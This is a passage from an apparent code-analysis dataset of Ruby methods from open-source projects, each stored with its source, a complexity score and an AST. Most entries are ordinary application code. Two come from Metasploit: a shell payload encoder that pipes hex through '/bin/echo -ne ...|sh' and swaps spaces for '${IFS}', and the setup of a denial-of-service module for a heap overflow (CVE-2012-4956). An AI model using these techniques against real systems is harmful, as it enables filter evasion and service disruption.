end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"vulnerability_partial_scans\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"scan_id\"]}]}]}]}]}]}","id":"249bd25e-f6ee-40b3-ace6-6b54dc3125ea"} {"repo_name":"manageiq","file_path":"./repos/manageiq/tools/pg_inspector/active_connections_to_yaml.rb","start_line":67,"raw_source":"def connect_pg_server\n conn_options = {\n :dbname => options[:database],\n :host => options[:pg_host],\n :port => options[:port]\n }\n if options[:user]\n conn_options[:user] = options[:user]\n end\n if options[:password_file]\n conn_options[:password] = File.read(options[:password_file]).strip\n elsif ENV[\"PGPASSWORD\"]\n conn_options[:password] = ENV[\"PGPASSWORD\"]\n end\n PG::Connection.open(conn_options)\n rescue PG::Error => e\n Util.error_exit(e)\n end","complexity_score":38.2,"ast_json":"{\"type\":\"def\",\"children\":[\"connect_pg_server\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conn_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dbname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"database\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pg_host\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password_file\"]}]}]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PGPASSWORD\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PGPASSWORD\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"Connection\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"conn_options\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Util\"]},\"error_exit\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}","id":"756da38b-3fa4-460a-bf34-3a63fe77ba4b"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/app_tree.rb","start_line":72,"raw_source":"def test_ruby_file_paths\n temp_dir_and_file_from_path(\"test.rb\") do |dir, file|\n at = Brakeman::AppTree.new(dir)\n assert_equal [file], at.ruby_file_paths.collect(&:absolute).to_a\n end\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ruby_file_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"temp_dir_and_file_from_path\",{\"type\":\"str\",\"children\":[\"test.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]},{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"AppTree\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"at\"]},\"ruby_file_paths\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"absolute\"]}]}]},\"to_a\"]}]}]}]}]}","id":"da7acd7e-807d-47e1-9b5e-a200d54db999"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/principals/principal_representer.rb","start_line":79,"raw_source":"def current_user_is_admin?\n current_user.admin?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_user_is_admin?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"admin?\"]}]}","id":"fa5e7a75-5809-41f1-9a54-934cc1504613"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/bulk_process_queue.rb","start_line":11,"raw_source":"def initialize(queue, shard)\n @queue = queue\n @shard = shard\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queue\"]},{\"type\":\"arg\",\"children\":[\"shard\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@queue\",{\"type\":\"lvar\",\"children\":[\"queue\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@shard\",{\"type\":\"lvar\",\"children\":[\"shard\"]}]}]}]}","id":"bedcfa7e-5aed-4dec-a66e-a0268e05a6fc"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/import/metasploit_framework/xml.rb","start_line":198,"raw_source":"def import_msf_web_vuln_element(element, options={}, ¬ifier)\n options.assert_valid_keys(:allow_yaml, :workspace)\n\n import_msf_web_element(element,\n :allow_yaml => options[:allow_yaml],\n :notifier => notifier,\n :workspace => options[:workspace],\n :type => :vuln) do |element, options|\n info = {}\n\n MSF_WEB_VULN_TEXT_ELEMENT_NAMES.each do |name|\n element_info = import_msf_text_element(element, name)\n info.merge!(element_info)\n end\n\n confidence = info[:confidence]\n\n if confidence\n info[:confidence] = confidence.to_i\n end\n\n # FIXME https://www.pivotaltracker.com/story/show/46578647\n # FIXME https://www.pivotaltracker.com/story/show/47128407\n unserialized_params = unserialize_object(\n element.at('params'),\n options[:allow_yaml]\n )\n info[:params] = nils_for_nulls(unserialized_params)\n\n risk = info[:risk]\n\n if risk\n info[:risk] = risk.to_i\n end\n\n info\n end\n end","complexity_score":34.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import_msf_web_vuln_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"notifier\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"assert_valid_keys\",{\"type\":\"sym\",\"children\":[\"allow_yaml\"]},{\"type\":\"sym\",\"children\":[\"workspace\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_msf_web_element\",{\"type\":\"lvar\",\"children\":[\"element\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_yaml\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_yaml\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifier\"]},{\"type\":\"lvar\",\"children\":[\"notifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"workspace\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"vuln\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MSF_WEB_VULN_TEXT_ELEMENT_NAMES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"element_info\",{\"type\":\"send\",\"children\":[null,\"import_msf_text_element\",{\"type\":\"lvar\",\"children\":[\"element\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"element_info\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"confidence\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confidence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confidence\"]},\"to_i\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"unserialized_params\",{\"type\":\"send\",\"children\":[null,\"unserialize_object\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"at\",{\"type\":\"str\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_yaml\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"nils_for_nulls\",{\"type\":\"lvar\",\"children\":[\"unserialized_params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"risk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"risk\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"risk\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"risk\"]},\"to_i\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}]}]}","id":"d2135105-f4c4-4f0f-bef8-e0d7ee9bc91f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/group_type.rb","start_line":457,"raw_source":"def dependency_proxy_total_size\n ActiveSupport::NumberHelper.number_to_human_size(\n dependency_proxy_total_size_in_bytes\n )\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dependency_proxy_total_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"NumberHelper\"]},\"number_to_human_size\",{\"type\":\"send\",\"children\":[null,\"dependency_proxy_total_size_in_bytes\"]}]}]}","id":"b192223b-2ab4-47ac-8a0d-461db6d8bfd7"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration.rb","start_line":1151,"raw_source":"def execute_block\n if connection.respond_to? :execute_block\n super # use normal delegation to record the block\n else\n yield\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"execute_block\"]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"7d0f8c8e-c2dc-4b21-97c6-5b2889398f0d"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/deepseek/capabilities.rb","start_line":10,"raw_source":"def context_window_for(model_id)\n case model_id\n when /deepseek-(?:chat|reasoner)/ then 64_000\n else 32_768\n end\n end","complexity_score":2.68,"ast_json":"{\"type\":\"def\",\"children\":[\"context_window_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"deepseek-(?:chat|reasoner)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[64000]}]},{\"type\":\"int\",\"children\":[32768]}]}]}","id":"af43b3f7-2201-4e8d-a129-dc8aebed29be"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_value/calculated_value_strategy.rb","start_line":63,"raw_source":"def validate_type_of_value\n Kernel.Float(value)\n nil\n rescue StandardError\n :not_a_number\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_type_of_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kernel\"]},\"Float\",{\"type\":\"send\",\"children\":[null,\"value\"]}]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"sym\",\"children\":[\"not_a_number\"]}]},null]}]}","id":"c3829c4c-a5be-4627-87a0-020b34def6ce"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/member.rb","start_line":571,"raw_source":"def decline_invite!\n return false unless invite?\n\n destroyed = self.destroy\n\n after_decline_invite if destroyed\n\n destroyed\n end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"decline_invite!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invite?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"destroyed\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"destroy\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"destroyed\"]},{\"type\":\"send\",\"children\":[null,\"after_decline_invite\"]},null]},{\"type\":\"lvar\",\"children\":[\"destroyed\"]}]}]}","id":"1d6cd1ca-3ea1-4c1e-b2d3-f1ea647078dd"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/sharepoint/queries/internal/lists_query.rb","start_line":99,"raw_source":"def root(id)\n Results::StorageFile.new(\n id:,\n name: URI(@storage.host).path&.split(\"/\")&.last,\n location: \"/\",\n permissions: %i[readable]\n )\n end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"root\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"StorageFile\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage\"]},\"host\"]}]},\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"last\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permissions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"readable\"]}]}]}]}]}]}","id":"2369d063-87bf-4365-a34c-5c60df953186"} {"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/resource_limits.rb","start_line":46,"raw_source":"def reset\n @reached_limit = false\n @last_capture_length = nil\n @render_score = @assign_score = 0\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@reached_limit\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@last_capture_length\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@render_score\",{\"type\":\"ivasgn\",\"children\":[\"@assign_score\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"357cbb9a-7d2d-4496-97c5-47693c17ddd3"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/encoders/cmd/generic_sh.rb","start_line":99,"raw_source":"def encode_block_bash_echo(state, buf)\n hex = ''\n\n # Can we use single quotes to enclose the echo arguments?\n if state.badchars.include?(\"'\")\n hex = buf.unpack('C*').collect { |c| '\\\\\\\\\\\\x%.2x' % c }.join\n else\n hex = \"'\" + buf.unpack('C*').collect { |c| '\\\\x%.2x' % c }.join + \"'\"\n end\n\n # Are pipe characters restricted?\n if state.badchars.include?('|')\n # How about backticks?\n if state.badchars.include?('`')\n # Last ditch effort, dollar paren\n if state.badchars.include?('$') || state.badchars.include?('(')\n raise EncodingError\n else\n buf = \"$(/bin/echo -ne #{hex})\"\n end\n else\n buf = \"`/bin/echo -ne #{hex}`\"\n end\n else\n buf = \"/bin/echo -ne #{hex}|sh\"\n end\n\n # Remove spaces from the command string\n if state.badchars.include?(' ')\n buf.gsub!(/\\s/, '${IFS}')\n end\n\n return buf\n end","complexity_score":47.9,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_block_bash_echo\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state\"]},{\"type\":\"arg\",\"children\":[\"buf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hex\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]},\"include?\",{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hex\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\\\\\x%.2x\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},\"join\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hex\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\x%.2x\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},\"join\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]},\"include?\",{\"type\":\"str\",\"children\":[\"|\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]},\"include?\",{\"type\":\"str\",\"children\":[\"`\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]},\"include?\",{\"type\":\"str\",\"children\":[\"$\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]},\"include?\",{\"type\":\"str\",\"children\":[\"(\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"EncodingError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"$(/bin/echo -ne \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`/bin/echo -ne \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/bin/echo -ne \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]}]},{\"type\":\"str\",\"children\":[\"|sh\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]},\"include?\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"${IFS}\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}]}","id":"9ab48dd7-cad8-421f-9c1d-824cc3a0cea9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb","start_line":10,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'NFR Agent Heap Overflow Vulnerability',\n 'Description' => %q{\n This module exploits a heap overflow in NFRAgent.exe, a component of Novell\n File Reporter (NFR). The vulnerability occurs when handling requests of name \"SRS\",\n where NFRAgent.exe fails to generate a response in a secure way, copying user\n controlled data into a fixed-length buffer in the heap without bounds checking.\n This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).\n },\n 'Author' => [ 'juan vazquez' ],\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'CVE', '2012-4956' ],\n [ 'URL', 'https://www.rapid7.com/blog/post/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959/' ]\n ],\n 'DisclosureDate' => '2012-11-16',\n 'Notes' => {\n 'Stability' => [CRASH_SERVICE_DOWN],\n 'SideEffects' => [],\n 'Reliability' => []\n }\n )\n )\n\n register_options(\n [\n Opt::RPORT(3037),\n OptBool.new('SSL', [true, 'Use SSL', true])\n ]\n )\n end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"NFR Agent Heap Overflow Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a heap overflow in NFRAgent.exe, a component of Novell\\n\"]},{\"type\":\"str\",\"children\":[\" File Reporter (NFR). The vulnerability occurs when handling requests of name \\\"SRS\\\",\\n\"]},{\"type\":\"str\",\"children\":[\" where NFRAgent.exe fails to generate a response in a secure way, copying user\\n\"]},{\"type\":\"str\",\"children\":[\" controlled data into a fixed-length buffer in the heap without bounds checking.\\n\"]},{\"type\":\"str\",\"children\":[\" This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-4956\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rapid7.com/blog/post/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-11-16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[3037]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\